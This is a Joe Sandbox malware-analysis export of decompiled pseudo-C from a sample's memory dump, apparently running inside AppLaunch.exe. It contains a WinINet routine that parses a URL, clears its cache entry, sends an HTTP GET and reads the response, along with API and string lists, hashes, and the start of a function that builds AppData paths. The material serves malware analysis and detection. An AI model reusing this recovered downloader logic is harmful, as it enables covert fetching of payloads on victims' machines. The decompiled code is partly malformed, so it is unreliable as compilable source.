						__eflags = _t601 - _t583;
						if(_t601 >= _t583) {
							_t601 - _t583 = _t601 == _t583;
							if(_t601 == _t583) {
								_v2536 = 7;
							}
						}
					}
				} else {
					_v2536 = 8;
				}
				_v2540 = 0x2f;
				_t380 = L004107A0(_v2536 + 1,  &_v2360,  &_v2540, 1);
				_v2548 = _t380;
				if(_t380 != 0xffffffff) {
					_t381 = L00410740(_v2548,  &_v2360,  &_v2332, 0xffffffff);
					_v8 = 0xa;
					_t507 = 2;
				} else {
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
					_t498 = L00429C90(0x4485e7);
					_t636 = _t636 + 4;
					E004050C0( &_v2304, 0x4485e7, _t498);
					_t381 =  &_v2304;
					_v8 = 9;
					_t507 = 1;
				}
				_v2532 = _t507;
				E00405040(_t381,  &_v2388);
				if((_t507 & 0x00000002) != 0) {
					_t507 = _t507 & 0xfffffffd;
					_v2532 = _t507;
					if(_v2312 >= 0x10) {
						_push(_v2332);
						E00429B0B();
						_t636 = _t636 + 4;
					}
					_v2312 = 0xf;
					_v2316 = 0;
					_v2332 = 0;
				}
				_v8 = 7;
				if((_t507 & 0x00000001) != 0) {
					_t507 = _t507 & 0xfffffffe;
					_v2532 = _t507;
					if(_v2284 >= 0x10) {
						_push(_v2304);
						E00429B0B();
						_t636 = _t636 + 4;
					}
				}
				_t604 = _v2548;
				_t383 = _v2360;
				_t569 = _v2340;
				_t524 = _v2360;
				if(_t604 == 0xffffffff) {
					__eflags = _t569 - 0x10;
					if(_t569 < 0x10) {
						_t524 =  &_v2360;
					}
					_t525 = _t524 + _v2344;
					__eflags = _t524 + _v2344;
				} else {
					if(_t569 < 0x10) {
						_t524 =  &_v2360;
					}
					_t525 = _t524 + _t604;
				}
				if(_t569 < 0x10) {
					_t383 =  &_v2360;
				}
				_push(_v2556);
				_v2284 = 0xf;
				_v2288 = 0;
				_v2304 = 0;
				L00410C60( &_v2304, _t383 + _v2536, _t525);
				_v8 = 0xb;
				E00405040( &_v2304,  &_v2416);
				_v8 = 7;
				if(_v2284 >= 0x10) {
					_push(_v2304);
					E00429B0B();
					_t636 = _t636 + 4;
				}
				_t388 = L00429C90("#");
				_t638 = _t636 + 4;
				if(L004107A0(0,  &_v2388, "#", _t388) == 0xffffffff) {
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
					E004051C0( &_v2304,  &_v2388, 0, 0xffffffff);
					_t393 =  &_v2304;
					_v8 = 0xd;
					_t508 = _t507 | 0x00000008;
					__eflags = _t508;
				} else {
					_t393 = L00410740(0,  &_v2388,  &_v2332, _t390);
					_v8 = 0xc;
					_t508 = _t507 | 0x00000004;
				}
				_v2532 = _t508;
				E00405040(_t393,  &_v2388);
				if((_t508 & 0x00000008) == 0) {
					_t607 = 0xf;
				} else {
					_t508 = _t508 & 0xfffffff7;
					_v2532 = _t508;
					if(_v2284 >= 0x10) {
						_push(_v2304);
						E00429B0B();
						_t638 = _t638 + 4;
					}
					_t607 = 0xf;
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
				}
				_v8 = 7;
				if((_t508 & 0x00000004) != 0) {
					_t508 = _t508 & 0xfffffffb;
					_v2532 = _t508;
					if(_v2312 >= 0x10) {
						_push(_v2332);
						E00429B0B();
						_t638 = _t638 + 4;
					}
				}
				_t395 = L00429C90(":");
				_t639 = _t638 + 4;
				_t398 = L004107A0(0,  &_v2416, ":", _t395);
				_v2544 = _t398;
				if(_t398 == 0xffffffff) {
					_v2284 = _t607;
					_v2288 = 0;
					_v2304 = 0;
					_t399 = L00429C90(0x4485e7);
					_t639 = _t639 + 4;
					E004050C0( &_v2304, 0x4485e7, _t399);
					_t401 =  &_v2304;
					_v8 = _t607;
					_t509 = _t508 | 0x00000020;
					__eflags = _t509;
				} else {
					_t131 = _t398 + 1; // 0x1
					_t401 = L00410740(_t131,  &_v2416,  &_v2332, 0xffffffff);
					_v8 = 0xe;
					_t509 = _t508 | 0x00000010;
				}
				_v2532 = _t509;
				E00405040(_t401,  &_v2500);
				if((_t509 & 0x00000020) != 0) {
					_t509 = _t509 & 0xffffffdf;
					_v2532 = _t509;
					if(_v2284 >= 0x10) {
						_push(_v2304);
						E00429B0B();
						_t639 = _t639 + 4;
					}
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
				}
				_v8 = 7;
				if((_t509 & 0x00000010) != 0) {
					_t509 = _t509 & 0xffffffef;
					_v2532 = _t509;
					if(_v2312 >= 0x10) {
						_push(_v2332);
						E00429B0B();
						_t639 = _t639 + 4;
					}
				}
				_t403 = _v2544;
				if(_v2544 == 0xffffffff) {
					_t403 = _v2400;
				}
				_t572 =  &_v2416;
				_t404 = L00410740(0,  &_v2416,  &_v2332, _t403);
				_v8 = 0x10;
				E00405040(_t404,  &_v2416);
				_v8 = 7;
				if(_v2312 >= 0x10) {
					_push(_v2332);
					E00429B0B();
					_t639 = _t639 + 4;
				}
				_t406 = _v2536;
				if(_v2536 <= 0) {
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
					_t407 = L00429C90(0x4485e7);
					_t639 = _t639 + 4;
					E004050C0( &_v2304, 0x4485e7, _t407);
					_t409 =  &_v2304;
					_v8 = 0x12;
					_t510 = _t509 | 0x00000080;
					__eflags = _t510;
				} else {
					_t572 =  &_v2360;
					_t409 = L00410740(0,  &_v2360,  &_v2332, _t406 + 0xfffffffd);
					_v8 = 0x11;
					_t510 = _t509 | 0x00000040;
				}
				_v2532 = _t510;
				E00405040(_t409,  &_v2444);
				if(_t510 < 0) {
					_t510 = _t510 & 0xffffff7f;
					_v2532 = _t510;
					if(_v2284 >= 0x10) {
						_push(_v2304);
						E00429B0B();
						_t639 = _t639 + 4;
					}
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
				}
				_v8 = 7;
				if((_t510 & 0x00000040) != 0) {
					_t510 = _t510 & 0xffffffbf;
					_v2532 = _t510;
					if(_v2312 >= 0x10) {
						_t572 = _v2332;
						_push(_v2332);
						E00429B0B();
						_t639 = _t639 + 4;
					}
				}
				_t411 = L00429C90("?");
				_t640 = _t639 + 4;
				_t414 = L004107A0(0,  &_v2388, "?", _t411);
				_v2544 = _t414;
				if(_t414 == 0xffffffff) {
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
					_t415 = L00429C90(0x4485e7);
					_t640 = _t640 + 4;
					E004050C0( &_v2304, 0x4485e7, _t415);
					_t417 =  &_v2304;
					_v8 = 0x14;
					_t511 = _t510 | 0x00000200;
					__eflags = _t511;
				} else {
					_t192 = _t414 + 1; // 0x1
					_t572 =  &_v2388;
					_t417 = L00410740(_t192,  &_v2388,  &_v2332, 0xffffffff);
					_v8 = 0x13;
					_t511 = _t510 | 0x00000100;
				}
				_v2532 = _t511;
				E00405040(_t417,  &_v2528);
				if((_t511 & 0x00000200) != 0) {
					_t511 = _t511 & 0xfffffdff;
					_v2532 = _t511;
					if(_v2284 >= 0x10) {
						_push(_v2304);
						E00429B0B();
						_t640 = _t640 + 4;
					}
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
				}
				_v8 = 7;
				if((_t511 & 0x00000100) != 0) {
					_t511 = _t511 & 0xfffffeff;
					_v2532 = _t511;
					if(_v2312 >= 0x10) {
						_t572 = _v2332;
						_push(_v2332);
						E00429B0B();
						_t640 = _t640 + 4;
					}
				}
				_t419 = _v2544;
				if(_v2544 == 0xffffffff) {
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
					E004051C0( &_v2304,  &_v2388, 0, 0xffffffff);
					_t422 =  &_v2304;
					_v8 = 0x16;
					_t512 = _t511 | 0x00000800;
					__eflags = _t512;
				} else {
					_t572 =  &_v2388;
					_t422 = L00410740(0,  &_v2388,  &_v2332, _t419);
					_v8 = 0x15;
					_t512 = _t511 | 0x00000400;
				}
				_v2532 = _t512;
				E00405040(_t422,  &_v2388);
				if((_t512 & 0x00000800) == 0) {
					_t614 = 0xf;
				} else {
					_t512 = _t512 & 0xfffff7ff;
					if(_v2284 >= 0x10) {
						_push(_v2304);
						E00429B0B();
						_t640 = _t640 + 4;
					}
					_t614 = 0xf;
					_v2284 = 0xf;
					_v2288 = 0;
					_v2304 = 0;
				}
				_v8 = 7;
				if((_t512 & 0x00000400) != 0) {
					if(_v2312 >= 0x10) {
						_t572 = _v2332;
						_push(_v2332);
						E00429B0B();
						_t640 = _t640 + 4;
					}
					_v2312 = _t614;
					_v2316 = 0;
					_v2332 = 0;
				}
				_t424 = _v2416;
				if(_v2396 < 0x10) {
					_t424 =  &_v2416;
				}
				DeleteUrlCacheEntry(_t424); // executed
				_t426 = _a8;
				if(_a28 < 0x10) {
					_t426 =  &_a8;
				}
				DeleteUrlCacheEntry(_t426);
				_t690 = _a36;
				if(_a36 == 0) {
					_v2536 = InternetOpenA(0x4485e7, 0, 0, 0, 0);
				} else {
					_t477 = E0041F880( &_v2332, _t690);
					_v8 = 0x17;
					if(_t477[0x14] >= 0x10) {
						_t477 =  *_t477;
					}
					_t478 = InternetOpenA(_t477, 0, 0, 0, 0); // executed
					_v8 = 7;
					_v2536 = _t478;
					if(_v2312 >= 0x10) {
						_push(_v2332);
						E00429B0B();
						_t640 = _t640 + 4;
					}
					_v2312 = _t614;
					_v2316 = 0;
					_v2332 = 0;
				}
				_t429 = _v2500;
				if(_v2480 < 0x10) {
					_t429 =  &_v2500;
				}
				_push(_t429);
				_t430 = E0042C353();
				_t641 = _t640 + 4;
				_t513 = _t430;
				_t431 = _v2444;
				if(_v2424 < 0x10) {
					_t431 =  &_v2444;
				}
				_t432 =  *0x453510(_t431, "https");
				asm("sbb esi, esi");
				_t618 = ( ~_t432 & 0xff800000) + 0x4800000;
				if(_v2536 == 0) {
					L135:
					_t619 = _v2552;
					 *((intOrPtr*)(_t619 + 0x14)) = 0xf;
					 *((intOrPtr*)(_t619 + 0x10)) = 0;
					 *_t619 = 0;
					E00405040( &_v2472, _t619);
					__eflags = _v2508 - 0x10;
					if(_v2508 >= 0x10) {
						_push(_v2528);
						E00429B0B();
						_t641 = _t641 + 4;
					}
					_v2508 = 0xf;
					_v2512 = 0;
					_v2528 = 0;
					__eflags = _v2480 - 0x10;
					if(_v2480 >= 0x10) {
						_t572 = _v2500;
						_push(_v2500);
						E00429B0B();
						_t641 = _t641 + 4;
					}
					_v2480 = 0xf;
					_v2484 = 0;
					_v2500 = 0;
					__eflags = _v2424 - 0x10;
					if(_v2424 >= 0x10) {
						_push(_v2444);
						E00429B0B();
						_t641 = _t641 + 4;
					}
					_v2424 = 0xf;
					_v2428 = 0;
					_v2444 = 0;
					__eflags = _v2340 - 0x10;
					if(_v2340 >= 0x10) {
						_push(_v2360);
						E00429B0B();
						_t641 = _t641 + 4;
					}
					_v2340 = 0xf;
					_v2344 = 0;
					_v2360 = 0;
					__eflags = _v2396 - 0x10;
					if(_v2396 >= 0x10) {
						_t572 = _v2416;
						_push(_v2416);
						E00429B0B();
						_t641 = _t641 + 4;
					}
					_v2396 = 0xf;
					_v2400 = 0;
					_v2416 = 0;
					__eflags = _v2368 - 0x10;
					if(_v2368 >= 0x10) {
						_push(_v2388);
						E00429B0B();
						_t641 = _t641 + 4;
					}
					_v2368 = 0xf;
					_v2372 = 0;
					_v2388 = 0;
					__eflags = _v2452 - 0x10;
					if(_v2452 >= 0x10) {
						_push(_v2472);
						E00429B0B();
						_t641 = _t641 + 4;
					}
					_v2452 = 0xf;
					_v2456 = 0;
					_v2472 = 0;
					__eflags = _a28 - 0x10;
					if(_a28 >= 0x10) {
						_t572 = _a8;
						_push(_a8);
						E00429B0B();
					}
					_t434 = _v2552;
					goto L152;
				} else {
					_t446 = _v2416;
					if(_v2396 < 0x10) {
						_t446 =  &_v2416;
					}
					_t447 = InternetConnectA(_v2536, _t446, _t513, 0, 0, 3, _t618, 0); // executed
					_v2544 = _t447;
					if(_t447 == 0) {
						L134:
						InternetCloseHandle(_v2536);
						goto L135;
					} else {
						_t450 = _v2388;
						if(_v2368 < 0x10) {
							_t450 =  &_v2388;
						}
						_t572 = _v2544;
						_t451 = HttpOpenRequestA(_v2544, "GET", _t450, 0, 0, 0, _t618, 0); // executed
						_t622 = _t451;
						_v2532 = _t622;
						if(_t622 == 0) {
							L133:
							_t572 = _v2544;
							InternetCloseHandle(_v2544);
							goto L134;
						} else {
							_t453 = HttpSendRequestA(_t622, 0, 0, 0, 0); // executed
							_t516 = _t453;
							_v2556 = 0x100;
							if(HttpQueryInfoA(_t622, 0x13,  &_v276,  &_v2556, 0) != 0) {
								_t572 =  &_v276;
								_push( &_v276);
								_t456 = E0042C353();
								_t641 = _t641 + 4;
								__eflags = _t456 - 0xc8;
								if(_t456 != 0xc8) {
									goto L123;
								}
								__eflags = _t516;
								if(_t516 == 0) {
									L132:
									InternetCloseHandle(_t622); // executed
									goto L133;
								}
								_t468 = InternetReadFile(_t622,  &_v2276, 0x7cf,  &_v2548); // executed
								__eflags = _t468;
								if(_t468 == 0) {
									goto L132;
								}
								while(1) {
									_t469 = _v2548;
									__eflags = _t469;
									if(__eflags == 0) {
										goto L132;
									}
									 *((char*)(_t630 + _t469 - 0x8e0)) = 0;
									_t471 = E004109C0( &_v2276, __eflags,  &_v2304,  &_v2472); // executed
									_t641 = _t641 + 8;
									_v8 = 0x18;
									E00405040(_t471,  &_v2472);
									_v8 = 7;
									__eflags = _v2284 - 0x10;
									if(_v2284 >= 0x10) {
										_push(_v2304);
										E00429B0B();
										_t641 = _t641 + 4;
									}
									_v2288 = 0;
									_v2304 = 0;
									_v2284 = 0xf;
									_t475 = InternetReadFile(_v2532,  &_v2276, 0x7cf,  &_v2548); // executed
									_t622 = _v2532;
									__eflags = _t475;
									if(_t475 != 0) {
										continue;
									} else {
										goto L132;
									}
								}
								goto L132;
							}
							L123:
							_t623 = _v2552;
							L00404FB0(_t623, "ERROR");
							E00405010( &_v2528);
							E00405010( &_v2500);
							E00405010( &_v2444);
							E00405010( &_v2360);
							E00405010( &_v2416);
							E00405010( &_v2388);
							E00405010( &_v2472);
							E00405010( &_a8);
							_t434 = _t623;
							L152:
							 *[fs:0x0] = _v16;
							_pop(_t595);
							_pop(_t621);
							_pop(_t515);
							return E00429B16(_t434, _t515, _v20 ^ _t630, _t572, _t595, _t621);
						}
					}
				}
			}

0x0040d190
0x0040d193
0x0040d195
0x0040d1a0
0x0040d1a7
0x0040d1ac
0x0040d1ae
0x0040d1b4
0x0040d1b8
0x0040d1c3
0x0040d1c9
0x0040d1cf
0x0040d1dc
0x0040d1e2
0x0040d1e8
0x0040d202
0x0040d207
0x0040d20d
0x0040d213
0x0040d219
0x0040d21f
0x0040d225
0x0040d22b
0x0040d231
0x0040d237
0x0040d23d
0x0040d243
0x0040d249
0x0040d24f
0x0040d255
0x0040d25b
0x0040d261
0x0040d267
0x0040d26d
0x0040d27d
0x0040d281
0x0040d287
0x0040d28c
0x0040d297
0x0040d29b
0x0040d2a0
0x0040d2ab
0x0040d2b3
0x0040d2b4
0x0040d2b9
0x0040d2b9
0x0040d2c6
0x0040d2c8
0x0040d2ce
0x0040d2d3
0x0040d2d8
0x0040d2da
0x0040d2da
0x0040d2dc
0x0040d2e0
0x0040d2e2
0x0040d2e2
0x0040d2eb
0x0040d2f1
0x0040d2f3
0x0040d2f3
0x0040d300
0x0040d305
0x0040d30a
0x0040d331
0x0040d333
0x0040d339
0x0040d33e
0x0040d341
0x0040d343
0x0040d345
0x0040d345
0x0040d347
0x0040d349
0x0040d34b
0x0040d34d
0x0040d34d
0x0040d34f
0x0040d356
0x0040d35c
0x0040d35e
0x0040d35e
0x0040d36b
0x0040d370
0x0040d373
0x0040d375
0x0040d377
0x0040d379
0x0040d382
0x0040d384
0x0040d386
0x0040d386
0x0040d384
0x0040d379
0x0040d31b
0x0040d31b
0x0040d31b
0x0040d3a7
0x0040d3ae
0x0040d3b3
0x0040d3bc
0x0040d41c
0x0040d421
0x0040d428
0x0040d3be
0x0040d3c3
0x0040d3cd
0x0040d3d7
0x0040d3de
0x0040d3e3
0x0040d3f2
0x0040d3f7
0x0040d3fd
0x0040d401
0x0040d401
0x0040d435
0x0040d43b
0x0040d443
0x0040d445
0x0040d44f
0x0040d455
0x0040d45d
0x0040d45e
0x0040d463
0x0040d463
0x0040d466
0x0040d470
0x0040d47a
0x0040d47a
0x0040d481
0x0040d48b
0x0040d48d
0x0040d497
0x0040d49d
0x0040d4a5
0x0040d4a6
0x0040d4ab
0x0040d4ab
0x0040d49d
0x0040d4ae
0x0040d4b4
0x0040d4ba
0x0040d4c0
0x0040d4c5
0x0040d4d6
0x0040d4d9
0x0040d4db
0x0040d4db
0x0040d4e1
0x0040d4e1
0x0040d4c7
0x0040d4ca
0x0040d4cc
0x0040d4cc
0x0040d4d2
0x0040d4d2
0x0040d4ea
0x0040d4ec
0x0040d4ec
0x0040d4fe
0x0040d508
0x0040d512
0x0040d51c
0x0040d523
0x0040d534
0x0040d538
0x0040d53d
0x0040d548
0x0040d550
0x0040d551
0x0040d556
0x0040d556
0x0040d55e
0x0040d563
0x0040d57d
0x0040d5ad
0x0040d5b7
0x0040d5c1
0x0040d5c8
0x0040d5cd
0x0040d5d3
0x0040d5da
0x0040d5da
0x0040d57f
0x0040d58e
0x0040d593
0x0040d597
0x0040d597
0x0040d5e5
0x0040d5eb
0x0040d5f3
0x0040d634
0x0040d5f5
0x0040d5f5
0x0040d5ff
0x0040d605
0x0040d60d
0x0040d60e
0x0040d613
0x0040d613
0x0040d616
0x0040d61b
0x0040d621
0x0040d62b
0x0040d62b
0x0040d639
0x0040d643
0x0040d645
0x0040d64f
0x0040d655
0x0040d65d
0x0040d65e
0x0040d663
0x0040d663
0x0040d655
0x0040d66b
0x0040d670
0x0040d682
0x0040d687
0x0040d690
0x0040d6b6
0x0040d6bc
0x0040d6c6
0x0040d6cd
0x0040d6d2
0x0040d6e1
0x0040d6e6
0x0040d6ec
0x0040d6ef
0x0040d6ef
0x0040d692
0x0040d694
0x0040d6a3
0x0040d6a8
0x0040d6ac
0x0040d6ac
0x0040d6fa
0x0040d700
0x0040d708
0x0040d70a
0x0040d714
0x0040d71a
0x0040d722
0x0040d723
0x0040d728
0x0040d728
0x0040d72b
0x0040d735
0x0040d73f
0x0040d73f
0x0040d746
0x0040d750
0x0040d752
0x0040d75c
0x0040d762
0x0040d76a
0x0040d76b
0x0040d770
0x0040d770
0x0040d762
0x0040d773
0x0040d77c
0x0040d77e
0x0040d77e
0x0040d78d
0x0040d793
0x0040d7a0
0x0040d7a4
0x0040d7a9
0x0040d7b4
0x0040d7bc
0x0040d7bd
0x0040d7c2
0x0040d7c2
0x0040d7c5
0x0040d7cd
0x0040d7f4
0x0040d7fe
0x0040d808
0x0040d80f
0x0040d814
0x0040d823
0x0040d828
0x0040d82e
0x0040d835
0x0040d835
0x0040d7cf
0x0040d7db
0x0040d7e1
0x0040d7e6
0x0040d7ea
0x0040d7ea
0x0040d843
0x0040d849
0x0040d850
0x0040d852
0x0040d85f
0x0040d865
0x0040d86d
0x0040d86e
0x0040d873
0x0040d873
0x0040d876
0x0040d880
0x0040d88a
0x0040d88a
0x0040d891
0x0040d89b
0x0040d89d
0x0040d8a7
0x0040d8ad
0x0040d8af
0x0040d8b5
0x0040d8b6
0x0040d8bb
0x0040d8bb
0x0040d8ad
0x0040d8c3
0x0040d8c8
0x0040d8da
0x0040d8df
0x0040d8e8
0x0040d911
0x0040d91b
0x0040d925
0x0040d92c
0x0040d931
0x0040d940
0x0040d945
0x0040d94b
0x0040d952
0x0040d952
0x0040d8ea
0x0040d8ec
0x0040d8f5
0x0040d8fb
0x0040d900
0x0040d904
0x0040d904
0x0040d960
0x0040d966
0x0040d971
0x0040d973
0x0040d980
0x0040d986
0x0040d98e
0x0040d98f
0x0040d994
0x0040d994
0x0040d997
0x0040d9a1
0x0040d9ab
0x0040d9ab
0x0040d9b2
0x0040d9bf
0x0040d9c1
0x0040d9ce
0x0040d9d4
0x0040d9d6
0x0040d9dc
0x0040d9dd
0x0040d9e2
0x0040d9e2
0x0040d9d4
0x0040d9e5
0x0040d9ee
0x0040da21
0x0040da2b
0x0040da35
0x0040da3c
0x0040da41
0x0040da47
0x0040da4e
0x0040da4e
0x0040d9f0
0x0040d9f9
0x0040d9ff
0x0040da04
0x0040da08
0x0040da08
0x0040da5c
0x0040da62
0x0040da72
0x0040daaf
0x0040da74
0x0040da74
0x0040da80
0x0040da88
0x0040da89
0x0040da8e
0x0040da8e
0x0040da91
0x0040da96
0x0040da9c
0x0040daa6
0x0040daa6
0x0040dab4
0x0040dac1
0x0040dac9
0x0040dacb
0x0040dad1
0x0040dad2
0x0040dad7
0x0040dad7
0x0040dada
0x0040dae0
0x0040daea
0x0040daea
0x0040daf1
0x0040dafd
0x0040daff
0x0040daff
0x0040db06
0x0040db0c
0x0040db12
0x0040db14
0x0040db14
0x0040db18
0x0040db1e
0x0040db22
0x0040db96
0x0040db24
0x0040db2a
0x0040db2f
0x0040db36
0x0040db38
0x0040db38
0x0040db43
0x0040db49
0x0040db4d
0x0040db59
0x0040db61
0x0040db62
0x0040db67
0x0040db67
0x0040db6a
0x0040db70
0x0040db7a
0x0040db7a
0x0040db9c
0x0040dba8
0x0040dbaa
0x0040dbaa
0x0040dbb0
0x0040dbb1
0x0040dbb6
0x0040dbb9
0x0040dbbb
0x0040dbc7
0x0040dbc9
0x0040dbc9
0x0040dbd5
0x0040dbdf
0x0040dbe7
0x0040dbf4
0x0040de26
0x0040de26
0x0040de2e
0x0040de35
0x0040de3e
0x0040de40
0x0040de4a
0x0040de50
0x0040de58
0x0040de59
0x0040de5e
0x0040de5e
0x0040de66
0x0040de6c
0x0040de72
0x0040de78
0x0040de7e
0x0040de80
0x0040de86
0x0040de87
0x0040de8c
0x0040de8c
0x0040de8f
0x0040de95
0x0040de9b
0x0040dea1
0x0040dea7
0x0040deaf
0x0040deb0
0x0040deb5
0x0040deb5
0x0040deb8
0x0040debe
0x0040dec4
0x0040deca
0x0040ded0
0x0040ded8
0x0040ded9
0x0040dede
0x0040dede
0x0040dee1
0x0040dee7
0x0040deed
0x0040def3
0x0040def9
0x0040defb
0x0040df01
0x0040df02
0x0040df07
0x0040df07
0x0040df0a
0x0040df10
0x0040df16
0x0040df1c
0x0040df22
0x0040df2a
0x0040df2b
0x0040df30
0x0040df30
0x0040df33
0x0040df39
0x0040df3f
0x0040df45
0x0040df4b
0x0040df53
0x0040df54
0x0040df59
0x0040df59
0x0040df5c
0x0040df62
0x0040df68
0x0040df6e
0x0040df71
0x0040df73
0x0040df76
0x0040df77
0x0040df7c
0x0040df7f
0x00000000
0x0040dbfa
0x0040dbfa
0x0040dc06
0x0040dc08
0x0040dc08
0x0040dc20
0x0040dc26
0x0040dc2e
0x0040de19
0x0040de20
0x00000000
0x0040dc34
0x0040dc34
0x0040dc40
0x0040dc42
0x0040dc42
0x0040dc48
0x0040dc5e
0x0040dc64
0x0040dc66
0x0040dc6e
0x0040de0c
0x0040de0c
0x0040de13
0x00000000
0x0040dc74
0x0040dc7d
0x0040dc85
0x0040dc98
0x0040dcaa
0x0040dd1a
0x0040dd20
0x0040dd21
0x0040dd26
0x0040dd29
0x0040dd2e
0x00000000
0x00000000
0x0040dd34
0x0040dd36
0x0040de05
0x0040de06
0x00000000
0x0040de06
0x0040dd50
0x0040dd56
0x0040dd58
0x00000000
0x00000000
0x0040dd60
0x0040dd60
0x0040dd66
0x0040dd68
0x00000000
0x00000000
0x0040dd74
0x0040dd8a
0x0040dd8f
0x0040dd9a
0x0040dd9e
0x0040dda3
0x0040dda7
0x0040ddae
0x0040ddb6
0x0040ddb7
0x0040ddbc
0x0040ddbc
0x0040ddce
0x0040ddd4
0x0040dde7
0x0040ddf1
0x0040ddf7
0x0040ddfd
0x0040ddff
0x00000000
0x00000000
0x00000000
0x00000000
0x0040ddff
0x00000000
0x0040dd60
0x0040dcac
0x0040dcac
0x0040dcb9
0x0040dcc4
0x0040dccf
0x0040dcda
0x0040dce5
0x0040dcf0
0x0040dcfb
0x0040dd06
0x0040dd0e
0x0040dd13
0x0040df85
0x0040df88
0x0040df90
0x0040df91
0x0040df92
0x0040dfa0
0x0040dfa0
0x0040dc6e
0x0040dc2e

APIs

_strlen.LIBCMT ref: 0040D1EE

Part of subcall function 0040D0C0: _strlen.LIBCMT ref: 0040D0D5
Part of subcall function 0040D0C0: _strlen.LIBCMT ref: 0040D0EC

Part of subcall function 00405040: _memmove.LIBCMT ref: 00405073

_strlen.LIBCMT ref: 0040D2C1
_memcmp.LIBCMT ref: 0040D300
_strlen.LIBCMT ref: 0040D32C
_memcmp.LIBCMT ref: 0040D36B
_strlen.LIBCMT ref: 0040D3DE
_strlen.LIBCMT ref: 0040D55E

Part of subcall function 004051C0: std::_Xinvalid_argument.LIBCPMT ref: 004051DA

_strlen.LIBCMT ref: 0040D66B
_strlen.LIBCMT ref: 0040D6CD
_strlen.LIBCMT ref: 0040D80F

Part of subcall function 004050C0: std::_Xinvalid_argument.LIBCPMT ref: 00405135
Part of subcall function 004050C0: _memmove.LIBCMT ref: 00405186

_strlen.LIBCMT ref: 0040D8C3
_strlen.LIBCMT ref: 0040D92C

Part of subcall function 004051C0: std::_Xinvalid_argument.LIBCPMT ref: 00405217
Part of subcall function 004051C0: _memmove.LIBCMT ref: 00405278

DeleteUrlCacheEntry.WININET(?), ref: 0040DB06
DeleteUrlCacheEntry.WININET(?), ref: 0040DB18
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040DB43
InternetOpenA.WININET(004485E7,00000000,00000000,00000000,00000000), ref: 0040DB90
StrCmpCA.SHLWAPI(?,https), ref: 0040DBD5
InternetConnectA.WININET(00000000,?,00000000,00000000,00000000,00000003,-04800000,00000000), ref: 0040DC20
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,00000000,-04800000,00000000), ref: 0040DC5E
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040DC7D
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040DCA2

Part of subcall function 0041F880: _strlen.LIBCMT ref: 0041F8C9
Part of subcall function 0041F880: _strlen.LIBCMT ref: 0041F8EE
Part of subcall function 0041F880: GetCurrentProcess.KERNEL32(00000002,Mozilla/5.0 (Windows NT 10.0; ,00000000,00000000,00000002), ref: 0041F90A
Part of subcall function 0041F880: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,0043E0A9,000000FF), ref: 0041F911

InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040DD50
InternetReadFile.WININET(?,00000000,000007CF,?), ref: 0040DDF1
InternetCloseHandle.WININET(00000000), ref: 0040DE06
InternetCloseHandle.WININET(?), ref: 0040DE13
InternetCloseHandle.WININET(00000000), ref: 0040DE20

Strings

GET, xrefs: 0040DC58
https://, xrefs: 0040D2BC, 0040D2FA
https, xrefs: 0040DBCF
ERROR, xrefs: 0040DCB2
http://, xrefs: 0040D327, 0040D365
/, xrefs: 0040D3A7

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen$Internet$CloseHandleHttpOpenXinvalid_argument_memmovestd::_$CacheDeleteEntryFileProcessReadRequest_memcmp$ConnectCurrentInfoQuerySendWow64
String ID: /$ERROR$GET$http://$https$https://
API String ID: 80571429-2249406161
Opcode ID: d8d22836e7d45c67d06a912fcce845e25a42d2b102d38f0194793759e6537be0
Instruction ID: 37b32eadb50049d93bee54958d2ae22d90ac266b1a6c826da502646557041e70
Opcode Fuzzy Hash: d8d22836e7d45c67d06a912fcce845e25a42d2b102d38f0194793759e6537be0
Instruction Fuzzy Hash: 208282B1D022699AFB20DB54CD417EEB7B4AF54304F1045EAE44977282DB786F88CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00411740 Relevance: 56.2, APIs: 29, Strings: 3, Instructions: 219
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00411740(intOrPtr* __ebx, CHAR* __ecx, CHAR* __edi, void* __esi, void* _a4) {
				signed int _v12;
				char _v280;
				char _v544;
				char _v808;
				char _v1072;
				void* _v2072;
				struct _WIN32_FIND_DATAA _v2392;
				void* _v2396;
				CHAR* _v2400;
				void* _v2404;
				signed int _t62;
				int _t75;
				signed char _t85;
				intOrPtr* _t113;
				CHAR* _t152;
				void* _t153;
				signed int _t154;
				void* _t155;
				void* _t157;
				void* _t158;

				_t153 = __esi;
				_t152 = __edi;
				_t113 = __ebx;
				_t62 =  *0x450664; // 0x30e242aa
				_v12 = _t62 ^ _t154;
				_v2396 = _a4;
				_v2400 = __ecx;
				L00429B30( &_v544, 0, 0x104);
				L00429B30( &_v2072, 0, 0x3e8);
				_t157 = _t155 + 0x18;
				lstrcatA( &_v544,  &_v2072 & (0 |  *0x4534c0(0, 0x1a, 0, 0,  &_v2072) < 0x00000000) - 0x00000001);
				if(__esi == 0) {
					_t139 =  &_v1072;
					wsprintfA( &_v1072, "%s\\%s\\%s",  &_v544, _v2396, _v2400);
					_t158 = _t157 + 0x14;
				} else {
					_t139 = _v2396;
